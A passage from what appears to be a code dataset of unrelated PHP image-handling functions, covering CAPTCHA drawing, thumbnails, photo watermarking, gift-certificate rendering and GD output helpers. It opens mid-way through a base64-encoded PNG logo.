'zK01Ktb+HvZzopeHQDD6+NYPRKN+//Rc/+135GUFDQ3E4rAKaskOZzBtE4FEuy1MvZDz5hx871rMrTA'\n . 'iBJkgTQ2TNIrzscW2sz2cuXALAkLow7A3YAomVwtf8mCoV8jowpEDTZoNXhFDVGyEoa5ULDJ+zYtZGV'\n . 'uWkIIfxkCCHEe6eukJU0iuWmhezMFCRJkgZcMOwY8W55b49iNPawMC4Kt9stJvP5/45JK0R/1sDqXC1'\n . 'XP/6IteuWs0ybAHxTGV4ZI47wZMxXPkepCkUmm4fb7RZVR0+i1sSSkioHXDQ1X+bZZ5/At+U1dpvFsf'\n . 'qLmAZtFC1fTPn6zDGVU13XIWwjLmwjTgw9FtKToqjcViA1tHeJ2jMGbLdd5GnjaTH2oZ4vQ1eQTlG2R'\n . 'qo9YxA1TUYAEqLVmAZt5Gnj/d9tw04aPr0GQFWlboxP3QvVovbFcv9vh2pahP6s15bJYqMwU8PTZblo'\n . 'k2MkgD6zVRysbcM0aMM+7EKbFM3O4gz/uLHbLA7WtHK6o4uEKDXWESflxcvYU5YXsEsErBCrwymGPBE'\n . 'ssF2jYO1yHvtuDi7XKC7XqF9GCCFq9G2sKkji0rnP0GqTAAgODqbxozYWJz1EaqzgvXf/RdyCCLIzU/'\n . 'y62uQYqWJrPsYeM8frL47zX9vUSVGWhsptBdINsw1DjwWAomyNlJ4cTZvRxG5dLlWVOqkoW0Plmx/SZ'\n . '7YKH8FVlTopIVpFm9HEnrI8aU9ZnqQrSJd8xLcZTeN8miw2//OhmhZxWN9K6RottS+WS8d/tYU+i52K'\n . 'Ayf9Mj4yqip10vG9W6Q8bTwN57v84xUHTtJnsXOkopTaF8ulPaW5HNa3cqimJWCXCEhIq7GPJcneA19'\n . 'YRDivv2/gzl3iQgjx5tF65IlLiHDcYmjIxrqHlyKE4ILRRL9HzepHVxBxe5TTdc2UbFg57tokTCmXdG'\n . 'u0mCw2jN1mf5B9ZquwDzv9mRYXo54wRl+l6grSJW1iDMfqL1C2Rjuu2u6Fr2Img/6skRxtgj+btckx0'\n . 'i+3rcZksdHQ3iUA9E2GMTqFWRrK1njX14b2LmGy2Nity/V3lvL1mVJhpobG89cC+g1IyA2XGs81r2Jy'\n . 'rIK48Dv84s9tXOu34vF4hG3Yhf7jL3msOJNP/9lCUtIC366LN6o+JGNtPrlawTtv6UnVLKS4KGtCP2X'\n . '56QDU3PVyDe1dFGYvnmrO/CRaHU5hGrSSEKUmPibsgWwaTBbbOOJ81z7GHjMApfnptBlNVNd1CPAmmM'\n . '+/TyZXGz+mxacnR2PsNQf0OyEhHo9HKMOVAL5Fmk3rlhLrGeL12i95+ehZ9r/dSGpOFmlpMjr+3UHx+'\n . 'hUAfNJipGfIzeNbVnCrrZOm5st87/vrAl4qapNjpIQoNafbv8ma2qZOdhYvm3TCAI7VX6S6rkNUvHmS'\n . '3LQEStekT6nzIFGxNZ/CTA2vnmhC90K16DBcH9eKZnrDPSEh/RY70fNuExUdTnBwEEIIFPIQadfWAgY'\n . 'He+gZkTEQFMnjW1Zg6bISGalmVZ4Wh8PBvoOn2fjjH5KjdrF//wk26fJZvSJ90qAKsxf721af2SqAaW'\n . 'd6i6GPNqOJ57fn/8+v98OUcum1Z0qkV35agnXEyY9e1furZbaYkBDnnSDUbgeKMBUhISGS7+yQHKugN'\n . 'DsZ50g/iWneBftqxyV27NoIwLN/qCVv4waKV8n4beUbZGZo2Lx57ZRB+NrWsfqLNLR3octPm1bwFVvz'\n . 'eX57PuBdYB80bCPOackVZWuk2j+WkxCl5pC+dcyYL8GmiwkJkavmEa2SERutxuPx+A0GBQVJO3UrJPV'\n . '82Rj5ZdoEXjpyhtiMHHZsSuRgxQEiI9U8ubuMefOmvp3RJsdI2sQYGs9f9e6usjXTCt7Xs3cUZ6BvMs'\n . 'z45a0Op5joGUCbGEOr4cYYeV9L0ibFTBhL6dcL+t0yLYa+MXKG7kG0ieP1fZiQkKgQifDwUOJjwqR7T'\n . '9Yej0c8XZZLb+fndHa6WJmbzoGTPYjEpWwqieOvv36LBQsi+Plz2ybUDwRdfhr2ERcqhWzGC/Pu0jxU'\n . 'oTL2Hj09pazH4xH56d7F+rC+BavDKawOpzisbyHn690QQHlxBsZeM7VnDAK8ZPzpnWa0iTEUZWskq8M'\n . 'pnnqlVlTXdYg+s1X0ma2i8fw1dF+TUpStkbSJMVTXX/T7OFTTIlo7TZQXZwSMb9Y9t7quQ0hhi1CGKw'\n . 'mOkBM8dJPTf6thYVwUT2xZx6JFsTOy3We2iucO1LFbl0tRtmaMrrHbLGqaDFRuK5DAm82/OdLIa8+U+'\n . 'OWq6zpEbVMnx/duke7We/ndpnEHwLvlTYNW7CMuCjM1PL89f0wy1J4xiOr6i9iHnVhHnDySlcLTuhy/'\n . 'TEN7lzhc24qx14wqVMYjWSlUbP1mLbM6nOLVd5toM3jPPCqFHF1+2qTb8hkT4vF4RPfAMB9fGoB4Ddp'\n . 'YK2erT9F/w0LmslQ2b1479zftfWDSiRt2ukV7r93/3eZy8kW3E5ukYmmyAuvlVi6d+2zWVTGH8Zh0Aj'\n . '0ejxgddWM232LQ7v0vY9hqxzJ4i1tD3muG3ILl/hP1HObwrcN/AF5zmzGLB8I2AAAAAElFTkSuQmCC';\n\n return $logo;\n }",
"private function create_blank_image() {\r\n\t\t$image = imagecreatetruecolor( $this->diameter,$this->diameter );\r\n\r\n\t\t/* we also need a transparent background ... */\r\n\t\timagesavealpha($image, true);\r\n\r\n\t\t/* create a transparent color ... */\r\n\t\t$color = imagecolorallocatealpha($image, 0, 0, 0, 127);\r\n\r\n\t\t/* ... then fill the image with it ... */\r\n\t\timagefill($image, 0, 0, $color);\r\n\r\n\t\t/* nothing to do then ... just save the new image ... */\r\n\t\t$this->cutted_image = $image;\r\n\r\n\t\t/* go back and see what should we do next ..? */\r\n\t\treturn;\r\n\r\n\t}",
"function create_image($url) {\n $timeparts = explode(\" \",microtime());\n $currenttime = bcadd(($timeparts[0]*1000),bcmul($timeparts[1],1000));\n\n // Gathers the time with current date and puts it into the file name\n $path = \"temp/\";\n $htmlname = $currenttime . \".html\";\n $imagename = $currenttime . \".png\";\n\n // Saves the captured image\n $image = $_POST[\"image\"];\n $ifp = fopen( $path . $imagename, 'wb' );\n $data = explode( ',', $image );\n fwrite( $ifp, base64_decode( $data[ 1 ] ) );\n fclose( $ifp );\n\n // Returns the name for URL\n echo $path . $imagename;\n}",
"function display_graphic($piece)\n{\n}",
"function Create($sFilename = '') {\n if (!function_exists('imagecreate') || !function_exists(\"image$this->sFileType\") || ($this->vBackgroundImages != '' && !function_exists('imagecreatetruecolor'))) {\n return false;\n }\n \n // get background image if specified and copy to CAPTCHA\n if (is_array($this->vBackgroundImages) || $this->vBackgroundImages != '') {\n // create new image\n $this->oImage = imagecreatetruecolor($this->iWidth, $this->iHeight);\n \n // create background image\n if (is_array($this->vBackgroundImages)) {\n $iRandImage = array_rand($this->vBackgroundImages);\n $oBackgroundImage = imagecreatefromjpeg($this->vBackgroundImages[$iRandImage]);\n } else {\n $oBackgroundImage = imagecreatefromjpeg($this->vBackgroundImages);\n }\n \n // copy background image\n imagecopy($this->oImage, $oBackgroundImage, 0, 0, 0, 0, $this->iWidth, $this->iHeight);\n \n // free memory used to create background image\n imagedestroy($oBackgroundImage);\n } else {\n // create new image\n $this->oImage = imagecreate($this->iWidth, $this->iHeight);\n }\n \n // allocate white background colour\n imagecolorallocate($this->oImage, 0, 0, 0);\n \n // check for owner text\n if ($this->sOwnerText != '') {\n $this->DrawOwnerText();\n }\n \n // check for background image before drawing lines\n if (!is_array($this->vBackgroundImages) && $this->vBackgroundImages == '') {\n $this->DrawLines();\n }\n \n $this->GenerateCode();\n $this->DrawCharacters();\n \n // write out image to file or browser\n $this->WriteFile($sFilename);\n \n // free memory used in creating image\n imagedestroy($this->oImage);\n \n return true;\n }",
"public function __toString()\n {\n return \"This is an instance of Mysidia Image class.\";\n }",
"protected function writeGifAndPng() {}",
"public function build(): string\n {\n $this->verifyBom($this->encoding, $this->description);\n $this->_handleDefaultValues();\n\n $frame = $this->encoding->getCode();\n $frame .= $this->mimeType;\n $frame .= \"\\x00\";\n $frame .= $this->pictureType;\n $frame .= $this->description;\n $frame .= $this->encoding->getDelimiter();\n $frame .= $this->pictureData;\n\n return $frame;\n }",
"public function draw(){\n\t\t$this->doOutputResource();\n\t\t$defExt=\"gif\";\n\t\t$ext = ($this->outputFilename && strtolower(substr($this->outputFilename,-3))==\"$defExt\") ? substr($this->outputFilename,-4) :\".$defExt\";\n\t\t$out = $this->outputFilename.$ext;\n\t\tif(!$this->outputFilename){\n\t\t\theader(\"Content-Type: image/gif\");\n\t\t\t$out=null;\n\t\t}\n\t\t$this->outputFilename = $out;\n\t\treturn imagegif($this->outImage,$this->outputFilename);\n\t}",
"public function getOpengraphImage();",
"function output($image_type=IMAGETYPE_JPEG)\n {\n //JPEG\n if( $image_type == IMAGETYPE_JPEG )\n {\n imagejpeg($this->image);\n } \n //GIF\n elseif( $image_type == IMAGETYPE_GIF ) \n {\n imagegif($this->image); \n } \n //PNG\n elseif( $image_type == IMAGETYPE_PNG ) \n {\n imagepng($this->image);\n } \n }",
"public function __construct()\n\t{\n\t\t$this->digit=4;\n\t\t$this->picHeight=22;\n\t\t$this->picWidth=$this->digit*15;\n\t\t$this->border=1;//1 have border 0 no boder\n\t\t$this->fontSize=30;\n\t\t$this->alpha='';//\"abcdefghijkmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWSYZ\";\n\t\t$this->number=\"0123456789\";\n\t\tsrand((double)microtime()*1000000);//Initialize random number\n\t\t//header(\"Content-type:image/png\");\n\t}",
"public function getAsString() {\n\t\t$image = $this->getImage();\n\t\t$string = $image->toString();\n\n\t\tif ($string === false) {\n\t\t\t$this->handleError($image);\n\t\t} else {\n\t\t\treturn $string;\n\t\t}\n\t}",
"protected function renderImage(){\n \n return sprintf(\n '<img src=\"%s\" title=\"%s\" alt=\"%s\">',\n $this->getField('url'),\n $this->getField('title',''),\n $this->getField('alt','')\n );\n \n }",
"public function render()\n {\n Response::setContentType('png');\n\n $fontSize = rand(0, 30);\n $string = StringUtility::getRandomString($this->length, true);\n foreach (str_split($string) as $char) {\n if (!$this->fixedSpacing) {\n $fontSize = rand(0, 30);\n }\n imagettftext($this->image, 30, $fontSize, $this->left, $this->top, $this->getFontColor(), $this->getFont(), $char);\n $this->left += $this->getSpacing();\n }\n\n Processor::setInternalSessionValue($this->name, $string);\n imagepng($this->image);\n imagedestroy($this->image);\n }",
"function image($file_name,$title,$class='',$id) {\n \tif ($id) $id = \"id = '\".$id.\"'\"; \n \t$data = '<img src=\"'.BASE_PATH.'/img/'.$file_name.'\" title = \"'.$title.'\" border=\"0\" align=\"absmiddle\" '.$id.' class=\"'.$class.'\" />';\n return $data;\n }",
"function addSTC($propRS){\r\n\tinclude('Connections/adestate.php'); \r\n//\techo \"thmb =\".$propRS['THUMB_PIC_PATH'];\r\n\t$logo_file = \"images/soldstc.png\"; \r\n\t$image_file = $propRS['THUMB_PIC_PATH']; \r\n $image_info = getimagesize($image_file);\r\n\t//echo \"mannestateDB = \".$mannestateDB;\r\n\t$picture_ID = getSeqNextVal( $mannestateDB, $database_mannestateDB, \"sequence_picture_id\" );\r\n $uploadfilename = $picture_ID.'_STC_THUMB';\r\n $photo = \"\";\r\n $image_type = $image_info[2];\r\n\t//echo \"type = \".$image_info;\r\n\t if( $image_type == IMAGETYPE_JPEG ) {\r\n\t\t $photo = imagecreatefromjpeg($image_file);\r\n\t\t $uploadfile = '../property_images/'.$propRS['PROPERTY_ID'].'/'.$uploadfilename.\".jpg\";\r\n\t } elseif( $image_type == IMAGETYPE_GIF ) {\r\n\t\t $photo = imagecreatefromgif($image_file);\r\n \t\t $uploadfile = '../property_images/'.$propRS['PROPERTY_ID'].'/'.$uploadfilename.\".gif\";\r\n\t } elseif( $image_type == IMAGETYPE_PNG ) {\r\n\t\t $photo = imagecreatefrompng($image_file);\r\n\t\t $uploadfile = '../property_images/'.$propRS['PROPERTY_ID'].'/'.$uploadfilename.\".png\";\r\n\t }\r\n //echo \"photo\".$photo;\r\n\t$fotoW = imagesx($photo); \r\n\t$fotoH = imagesy($photo); \r\n\t$targetfile = $uploadfile; \r\n\r\n $logoImage = imagecreatefrompng($logo_file); \r\n\t$logoW = imagesx($logoImage); \r\n\t$logoH = imagesy($logoImage); \r\n\t$photoFrame = imagecreatetruecolor($fotoW,$fotoH); \r\n\t$dest_x = $fotoW - $logoW; \r\n\t$dest_y = $fotoH - $logoH; \r\n\timagecopyresampled($photoFrame, $photo, 0, 0, 0, 0, $fotoW, $fotoH, $fotoW, $fotoH); \r\n\timagecopy($photoFrame, $logoImage, 0, 0, 0, 0, $logoW, $logoH); \r\n\timagejpeg($photoFrame, $targetfile); \r\n//\techo \"dest_x\".$dest_x;\r\n\t\r\n\t$image_file = $propRS['SLIDE_PIC_PATH']; \r\n $uploadfilename = $picture_ID.'_STC_SLIDE';\r\n\t if( $image_type == IMAGETYPE_JPEG ) {\r\n\t\t $photo = imagecreatefromjpeg($image_file);\r\n\t\t $uploadfile = '../property_images/'.$propRS['PROPERTY_ID'].'/'.$uploadfilename.\".jpg\";\r\n\t } elseif( $image_type == IMAGETYPE_GIF ) {\r\n\t\t $photo = imagecreatefromgif($image_file);\r\n \t\t $uploadfile = '../property_images/'.$propRS['PROPERTY_ID'].'/'.$uploadfilename.\".gif\";\r\n\t } elseif( $image_type == IMAGETYPE_PNG ) {\r\n\t\t $photo = imagecreatefrompng($image_file);\r\n\t\t $uploadfile = '../property_images/'.$propRS['PROPERTY_ID'].'/'.$uploadfilename.\".png\";\r\n\t }\r\n\t$fotoW = imagesx($photo); \r\n\t$fotoH = imagesy($photo); \r\n\t$slidetargetfile = $uploadfile; \r\n\r\n $logoImage = imagecreatefrompng($logo_file); \r\n\t$logoW = imagesx($logoImage); \r\n\t$logoH = imagesy($logoImage); \r\n\t$photoFrame = imagecreatetruecolor($fotoW,$fotoH); \r\n\t$dest_x = $fotoW - $logoW; \r\n\t$dest_y = $fotoH - $logoH; \r\n\timagecopyresampled($photoFrame, $photo, 0, 0, 0, 0, $fotoW, $fotoH, $fotoW, $fotoH); \r\n\timagecopy($photoFrame, $logoImage, 0, 0, 0, 0, $logoW, $logoH); \r\n\timagejpeg($photoFrame, $slidetargetfile); \r\n\t\r\n\t\r\n $updateSQL = sprintf(\"UPDATE pictures SET IS_MAIN=%s WHERE PROPERTY_ID=%s\",\r\n\t\t\t\t\t\t GetSQLValueString(\"N\", \"text\"),\r\n\t\t\t\t\t\t\t\t GetSQLValueString($propRS['PROPERTY_ID'], \"int\"));\r\n $mainRS = mysql_query($updateSQL) or die(mysql_error());\r\n\t//echo $updateSQL;\r\n\t$insertSQL = sprintf(\"INSERT INTO pictures ( PICTURE_ID, PROPERTY_ID, IS_MAIN, TITLE, COMMENTS, THUMB_PIC_PATH, SLIDE_PIC_PATH, FULL_PIC_PATH, ORIGINAL_PIC_PATH) VALUES ( %s, %s, %s, %s, %s, %s, %s, %s, %s)\",\r\n\t\t\t GetSQLValueString($picture_ID, \"double\"),\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t GetSQLValueString($propRS['PROPERTY_ID'], \"int\"),\r\n\t\t\t GetSQLValueString('Y', \"text\"),\r\n\t\t\t GetSQLValueString(\"STC\", \"text\"),\r\n\t\t\t GetSQLValueString(\"\", \"text\"),\r\n\t\t\t GetSQLValueString($targetfile, \"text\"),\r\n\t\t\t GetSQLValueString($slidetargetfile, \"text\"),\r\n\t\t\t GetSQLValueString($slidetargetfile, \"text\"),\r\n\t\t\t GetSQLValueString($slidetargetfile, \"text\"));\r\n\t//echo $insertSQL;\r\n $picRS = mysql_query($insertSQL) or die(mysql_error());\r\n//echo \"STC added\";\r\n }",
"function dumpGraphic()\r\n {\r\n // Graphic component that dumps binary data\r\n header(\"Content-type: $this->_binarytype\");\r\n\r\n // Tries to prevent the browser from caching the image\r\n header(\"Pragma: no-cache\");\r\n header(\"Cache-Control: no-cache, must-revalidate\");// HTTP/1.1\r\n header(\"Expires: Mon, 26 Jul 1997 05:00:00 GMT\");// Date in the past\r\n\r\n if($this->hasValidDataField())\r\n {\r\n echo $this->readDataFieldValue();\r\n }\r\n\r\n exit;\r\n }",
"public static function thumbnail(){\n\n}",
"function img($image,$layout='')\n{\n return $image;\n}",
"public function picture() : Picture;",
"public function getWebPicture();",
"public function getImageName();",
"public function ImageCreateForOffline($img)\n {\n list($width,$height)=getimagesize($img);\n //list($width,$height)=getimagesize(\"images/imagesevice/photoframe_bg.png\");\n $img1 = ImageCreateFromJpeg($img); \n $bg = ImageCreateFromPng(\"images/imagesevice/photoframe_bg.png\"); \n //如果图片是横的 旋转90度\n if($width > $height) {\n $img1 = imagerotate($img1, 270, 0);\n imagecopyresized($bg,$img1,13,150,0,0,720,1075,$height,$width); \n }else{\n imagecopyresized($bg,$img1,13,150,0,0,720,1075,$width,$height); \n }\n \n //$logo = ImageCreateFromPng(\"images/imagesevice/logo.png\"); \n //imagecopyresized($bg,$logo,13,10,0,0,641,29,641,29); \n \n //header(\"content-type: image/jpeg\");\n $fs = new Filesystem();\n if(!$fs->exists($this->_filedir . '/Offline'))\n $fs->mkdir($this->_filedir . '/Offline', 0700);\n $fileName = '/Offline/' . time() . rand(100,999) . '.jpg';\n $hechengImg = $this->_filedir . $fileName;\n ImageJpeg($bg,$hechengImg);\n return $fileName;\n }",
"function make_thumb($src,$dest) {\n try {\n // Create a new SimpleImage object\n $image = new \\claviska\\SimpleImage();\n\n // load file\n $image->fromFile($src);\n // img getMimeType\n $mime = $image->getMimeType();\n $w = $image->getWidth();\n\n // Manipulate it\n // $image->bestFit(200, 300) // proportionally resize to fit inside a 250x400 box\n // $image->flip('x') // flip horizontally\n // $image->colorize('DarkGreen') // tint dark green\n // $image->sharpen()\n // $image->border('darkgray', 1) // add a 2 pixel black border\n // $image->overlay('flag.png', 'bottom right') // add a watermark image\n // $image->toScreen(); // output to the screen\n if ($w > 1000) {\n $image->autoOrient(); // adjust orientation based on exif data\n // $image->resize($resizeWidth); // 1365\n // $image->resize(1024); // 1365\n $image->resize(800); // 1067\n }\n $image->toFile($dest,$mime,$outIMGquality);\n // echo \"mime type: \".$mime;\n } catch(Exception $err) {\n // Handle errors\n echo $err->getMessage();\n }\n}",
"function output($im) {\r\n\t\t//capture output buffer\r\n\t\tob_start();\r\n\t\t\timagejpeg($im);\r\n\t\t\t$output = ob_get_contents();\r\n\t\tob_end_clean();\r\n\t\t//echo encoded image\r\n\t\techo base64_encode($output);\r\n\t\treturn;\r\n\t}",
"public function create_image($gc_details = array(),$giftCertificate = array()){\n $gc_code = @$gc_details['GiftCertificate']['gift_certificate_no'];\n $time = time();\n $price = \"AED \".@$gc_details['GiftCertificate']['amount'] . \"\\n\";\n $fronEmail = @$gc_details['GiftCertificate']['Sender']['email'];\n $recipient = ucfirst(@$gc_details['GiftCertificate']['recipient_first_name']).' '.ucfirst(@$gc_details['GiftCertificate']['recipient_last_name']);\n \n $email = $gc_details['GiftCertificate']['recipient_email'] . \"\";\n $senderName = ucfirst(@$gc_details['GiftCertificate']['Sender']['first_name']).' '.ucfirst(@$gc_details['GiftCertificate']['Sender']['last_name']);\n //$gc_msg = chunk_split(trim($gc_details['GiftCertificate']['messagetxt']), 20, \"\\n\");\n $expire = ($gc_details['GiftCertificate']['expire_on']=='0000-00-00')?'Never expire':$gc_details['GiftCertificate']['expire_on'];\n $gc_msg = $gc_details['GiftCertificate']['messagetxt'];\n $salonName = '';\n if(@$gc_details['GiftCertificate']['salon_id'] > 1){\n $salonDetail = $this->salonDetail($gc_details['GiftCertificate']['salon_id']);\n $salonName = $salonDetail['Salon']['eng_name'].\"\\n\";\n $salonName .= $salonDetail['Address']['address'].\"\\n\";\n if($salonDetail['Contact']['day_phone']){\n $salonName .= \"+971 \".$salonDetail['Contact']['day_phone'].\"\\n\";\n }\n }\n //get_salonName\n \n $message = \"To: $recipient\\n\\n\";\n $message .= \"From: $senderName\\n\\n\";\n $message .= \"Gift Certificate code: $gc_code\\n\\n\";\n $message .= \"Gift Certificate of $price\\n\\n\";\n $message .= $gc_msg;\n $message .= \"\\n\\nExipre On: $expire\\n\\n\";\n $message .= \"\\n\\n-----------\\nRegards,\\n\";\n $message .= \"$senderName\\n\\n\";\n if($salonName){\n $message .= \"$salonName\\n\\n\";\n }\n $text_write_image = $message;\n \n if ($text_write_image) {\n $textNew = $text_write_image;\n } else {\n $textNew = 'This is dummy text';\n }\n \n $extension = substr($giftCertificate['GiftImage']['image'], strrpos($giftCertificate['GiftImage']['image'], '.') + 1);\n $font = 15;\n \n if($giftCertificate['GiftImage']['text_align'] == \"Right\"){\n $x = 500;\n } else {\n $x = 20;\n }\n \n \n $y = 50;\n \n if ($extension == 'jpeg' || $extension == 'jpg') {\n header('Content-type: image/jpeg');\n $jpg_image = imagecreatefromjpeg(WWW_ROOT . '/images/GiftImage/original/' . $giftCertificate['GiftImage']['image']);\n $white = imagecolorallocate($jpg_image, 255, 255, 255);\n \n \n if(!empty($giftCertificate['GiftImage']['font_color'])){\n \n $hex = str_replace(\"#\", \"\", $giftCertificate['GiftImage']['font_color']);\n \n if(strlen($hex) == 3) {\n $r = hexdec(substr($hex,0,1).substr($hex,0,1));\n $g = hexdec(substr($hex,1,1).substr($hex,1,1));\n $b = hexdec(substr($hex,2,1).substr($hex,2,1));\n } else {\n $r = hexdec(substr($hex,0,2));\n $g = hexdec(substr($hex,2,2));\n $b = hexdec(substr($hex,4,2));\n }\n $white = imagecolorallocate($jpg_image, $r, $g, $b);\n }\n \n $font_path = WWW_ROOT . '/images/font.ttf';\n $image = $jpg_image;\n $string = $textNew;\n $font_height = imagefontheight($font);\n $font_width = imagefontwidth($font);\n $image_height = imagesy($image);\n $image_width = imagesx($image);\n $max_characters = (int) ($image_width - $x) / $font_width ;\n $next_offset_y = $y;\n for($i = 0, $exploded_string = explode(\"\\n\", $string), $i_count = count($exploded_string); $i < $i_count; $i++) {\n $exploded_wrapped_string = explode(\"\\n\", wordwrap(str_replace(\"\\t\", \" \", $exploded_string[$i]), $max_characters, \"\\n\"));\n for($j = 0, $j_count = count($exploded_wrapped_string); $j < $j_count; $j++) {\n imagestring($image, $font, $x, $next_offset_y, $exploded_wrapped_string[$j], $white);\n $next_offset_y += $font_height;\n if($next_offset_y >= $image_height - $y) {\n return;\n }\n }\n }\n $new_image_name = $gc_code.'_'.$giftCertificate['GiftImage']['id'].'_'.date('dmYHis').'.jpg';\n $return_file_path = 'images/GiftImage/original/'.$new_image_name;\n imagejpeg($image,WWW_ROOT . 'images/GiftImage/original/'.$new_image_name);\n imagedestroy($jpg_image);\n return $return_file_path;\n } elseif ($extension == 'png') {\n header('Content-type: image/png');\n $png_image = imagecreatefrompng(WWW_ROOT . '/images/GiftImage/original/' . $giftCertificate['GiftImage']['image']);\n $white = imagecolorallocate($png_image, 255, 255, 255);\n \n if(!empty($giftCertificate['GiftImage']['font_color'])){\n \n $hex = str_replace(\"#\", \"\", $giftCertificate['GiftImage']['font_color']);\n if(strlen($hex) == 3) {\n $r = hexdec(substr($hex,0,1).substr($hex,0,1));\n $g = hexdec(substr($hex,1,1).substr($hex,1,1));\n $b = hexdec(substr($hex,2,1).substr($hex,2,1));\n } else {\n $r = hexdec(substr($hex,0,2));\n $g = hexdec(substr($hex,2,2));\n $b = hexdec(substr($hex,4,2));\n }\n $white = imagecolorallocate($jpg_image, $r, $g, $b);\n }\n \n $font_path = WWW_ROOT . '/images/font.ttf';\n $string = $textNew;\n $image = $png_image;\n $font_height = imagefontheight($font);\n $font_width = imagefontwidth($font);\n $image_height = imagesy($image);\n $image_width = imagesx($image);\n $max_characters = (int) ($image_width - $x) / $font_width ;\n $next_offset_y = $y;\n for($i = 0, $exploded_string = explode(\"\\n\", $string), $i_count = count($exploded_string); $i < $i_count; $i++) {\n $exploded_wrapped_string = explode(\"\\n\", wordwrap(str_replace(\"\\t\", \" \", $exploded_string[$i]), $max_characters, \"\\n\"));\n for($j = 0, $j_count = count($exploded_wrapped_string); $j < $j_count; $j++) {\n imagestring($image, $font, $x, $next_offset_y, $exploded_wrapped_string[$j], $white);\n $next_offset_y += $font_height;\n if($next_offset_y >= $image_height - $y) {\n return;\n }\n }\n }\n $new_image_name = $gc_code.'_'.$giftCertificate['GiftImage']['id'].'_'.date('dmYHis').'.png';\n $return_file_path = 'images/GiftImage/original/'.$new_image_name;\n imagepng($image,WWW_ROOT . 'images/GiftImage/original/'.$new_image_name);\n imagedestroy($png_image);\n return $return_file_path;\n } elseif ($extension == 'gif') {\n header('Content-type: image/gif');\n $gif_image = imagecreatefromgif(WWW_ROOT . '/images/GiftImage/original/' . $giftCertificate['GiftImage']['image']);\n $white = imagecolorallocate($gif_image, 255, 255, 255);\n \n if(!empty($giftCertificate['GiftImage']['font_color'])){\n \n $hex = str_replace(\"#\", \"\", $giftCertificate['GiftImage']['font_color']);\n \n if(strlen($hex) == 3) {\n $r = hexdec(substr($hex,0,1).substr($hex,0,1));\n $g = hexdec(substr($hex,1,1).substr($hex,1,1));\n $b = hexdec(substr($hex,2,1).substr($hex,2,1));\n } else {\n $r = hexdec(substr($hex,0,2));\n $g = hexdec(substr($hex,2,2));\n $b = hexdec(substr($hex,4,2));\n }\n $white = imagecolorallocate($jpg_image, $r, $g, $b);\n }\n $font_path = WWW_ROOT . '/images/font.ttf';\n $image = $gif_image;\n $string = $textNew;\n \n $font_height = imagefontheight($font);\n $font_width = imagefontwidth($font);\n $image_height = imagesy($image);\n $image_width = imagesx($image);\n $max_characters = (int) ($image_width - $x) / $font_width ;\n $next_offset_y = $y;\n for($i = 0, $exploded_string = explode(\"\\n\", $string), $i_count = count($exploded_string); $i < $i_count; $i++) {\n $exploded_wrapped_string = explode(\"\\n\", wordwrap(str_replace(\"\\t\", \" \", $exploded_string[$i]), $max_characters, \"\\n\"));\n for($j = 0, $j_count = count($exploded_wrapped_string); $j < $j_count; $j++) {\n imagestring($image, $font, $x, $next_offset_y, $exploded_wrapped_string[$j], $white);\n $next_offset_y += $font_height;\n if($next_offset_y >= $image_height - $y) {\n return;\n }\n }\n }\n $new_image_name = $gc_code.'_'.$giftCertificate['GiftImage']['id'].'_'.date('dmYHis').'.gif';\n $return_file_path = 'images/GiftImage/original/'.$new_image_name;\n imagegif($image, WWW_ROOT . 'images/GiftImage/original/'.$new_image_name);\n imagedestroy($gif_image);\n return $return_file_path;\n }\n }",
"function getImageStringFromFile($xpmfile) {\r\n $file = fopen($xpmfile,\"r\");\r\n $content = fread($file, filesize($xpmfile));\r\n // remove all \" and CR\r\n $content = str_replace(array(\"\\\"\",\"\\n\", \"\\r\"), \"\", $content);\r\n // find position of { and of } and substr between these 2\r\n $start = strpos($content, \"{\")+1; // to remove the {\r\n $stop = strpos($content, \"}\");\r\n $imgdescr = substr($content, $start, $stop - $start);\r\n // explode\r\n $xpm = explode(\",\", $imgdescr);\r\n \r\n //print_r($xpm);\r\n \r\n return getImageString($xpm);\r\n}",
"function createImage($type,$img_name){\n if (!$type){\n $type = $this->get_type($img_name);\n }\n\t\t \n switch ($type){\n case 'gif':\n if (function_exists('imagecreatefromgif'))\n $tmp_img=@imagecreatefromgif($img_name);\n break;\n case 'jpg':\n $tmp_img=imagecreatefromjpeg($img_name);\n break;\n case 'png':\n $tmp_img=imagecreatefrompng($img_name);\n break;\n\t\t\t\t case 'jpeg':\n $tmp_img=imagecreatefromjpeg($img_name);\n break;\n default:\n $tmp_img=imagecreatefromstring($img_name);\n break;\n }\n return $tmp_img;\n}",
"function createImage($type,$img_name){\n if (!$type){\n $type = $this->get_type($img_name);\n }\n\t\t \n switch ($type){\n case 'gif':\n if (function_exists('imagecreatefromgif'))\n $tmp_img=@imagecreatefromgif($img_name);\n break;\n case 'jpg':\n $tmp_img=imagecreatefromjpeg($img_name);\n break;\n case 'png':\n $tmp_img=imagecreatefrompng($img_name);\n break;\n\t\t\t\t case 'jpeg':\n $tmp_img=imagecreatefromjpeg($img_name);\n break;\n default:\n $tmp_img=imagecreatefromstring($img_name);\n break;\n }\n return $tmp_img;\n}",
"function make_vImage($element){\n\t\t$dir=base_url().$element->getFile();\n\t\tif(substr($element->getFile(),0,7)=='http://'){\n\t\t\t$dir=$element->getFile();\n\t\t\t$width=$element->getWidth();\n\t\t\t$height=$element->getHeight();\n\t\t}\n\t\t// Si están definidos ancho y alto, usamos esos\n\t\telse if($element->getWidth() or $element->getHeight()){\n\t\t\t$width=$element->getWidth();\n\t\t\t$height=$element->getHeight();\n\t\t}\n\t\t// Si no, miramos el tamaño de la imagen\n\t\telse list($width,$height)=getimagesize($element->getFile());\n\t\t\n\t\treturn '<img'.$this->setStyle($element).($width?' width=\"'.$width.'\"':'').($height?' height=\"'.$height.'\"':'').' alt=\"'.$element->getAltText().'\" src=\"'.\n\t\t\t$dir.'\" />\n\t\t';\n\t}",
"public function getImage() : string\n {\n return $this->image;\n }",
"function imagecustom($im, $text) {\n}",
"function save_img() {\n imagejpeg($this->img, 'captcha.jpg');\n\n // Libération de la mémoire\n imagedestroy($this->img);\n \n }",
"function makeBandeau(){\n $bandeau = \"<div id=\\\"title\\\">\n <h1>\n <img src=\\\"images/bandeau.jpg\\\" />\n </h1>\n </div>\";\n echo $bandeau;\n}",
"function image_return_write($im, $write_to_abspath)\n{\n $return = $im->writeImage($write_to_abspath);\n $im->clear();\n $im->destroy();\n return $return;\n}",
